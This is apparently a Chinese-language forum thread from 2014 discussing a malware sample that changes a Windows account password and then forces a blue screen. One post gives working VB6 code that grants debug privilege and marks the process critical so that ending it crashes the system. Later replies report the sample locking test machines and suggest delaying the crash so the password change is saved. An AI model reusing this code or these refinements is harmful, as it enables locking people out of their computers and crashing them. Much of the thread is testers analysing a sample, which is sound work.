炒冷改密码

菩提祖师

好奇蓝屏是怎么弄的?(没测试过,只是看楼上各位的回复)

深山红叶__

菩提祖师 发表于 2014-8-16 17:32
好奇蓝屏是怎么弄的?(没测试过,只是看楼上各位的回复)

1. 
   
2. Private Declare Function RtlAdjustPrivilege Lib "ntdll.dll" (ByVal Privilege As Long, ByVal Enable As Long, ByVal CurrentThread As Long, Enabled As Long) As Long
   
3. Private Declare Function NtSetInformationProcess Lib "NTDLL.DLL" (ByVal ProcessHandle As Long, ByVal ProcessInformationClass As Long, ByRef ProcessInformation As Any, ByVal lProcessInformationLength As Long) As Long
   
4. Const ProcessBreakOnTermination = 29
   
5. 
   
6. Private Sub Form_Load()
   
7. Call RtlAdjustPrivilege(&H14, 1, 0, 0)'获取14号权限令牌
   
8. Call NtSetInformationProcess (-1, ProcessBreakOnTermination, 1&, 4)'提升进程为关键进程
   
9. End Sub
   
10. '在Load后Unload前结束进程将蓝屏或重启
    
11. Private Sub Form_Unload(Cancel As Integer)
    
12. Call NtSetInformationProcess (-1, ProcessBreakOnTermination, 0&, 4)'降低进程为普通进程
    
13. End Sub
    

复制代码

菩提祖师

深山红叶__ 发表于 2014-8-16 17:34

结束什么进程?结束程序自己吗?
意思是先将自己提升为关键进程,然后结束自己,"撂挑子"后系统就蓝屏了?
代码没有看明白,只是根据注释猜的

深山红叶__

菩提祖师 发表于 2014-8-16 17:43
结束什么进程?结束程序自己吗?
意思是先将自己提升为关键进程,然后结束自己,"撂挑子"后系统就蓝屏了?
...

提升debug权限
进程属性改变为关键进程
结束自身
蓝屏

瓜g

threatfire

关闭禁运 双击 蓝屏 被锁

tg123321

腾讯云已入库

yjwfdc

蓝屏了，但没有密码，可能由于蓝屏，来不及写入配置，
你可以试试延迟一些再蓝屏了。

饭@avast

有点凶残.诺顿被蓝屏,重启被加密.赞!

深山红叶__

yjwfdc 发表于 2014-8-16 21:39
蓝屏了，但没有密码，可能由于蓝屏，来不及写入配置，
你可以试试延迟一些再蓝屏了。

不太清楚是什么原因，我这边试了几次是可以加密的。
上次写入注册表的实验中，也是这样，蓝屏后配置丢失，后来发现关闭句柄就好了。
但是netusersetinfo没有关闭句柄一说啊...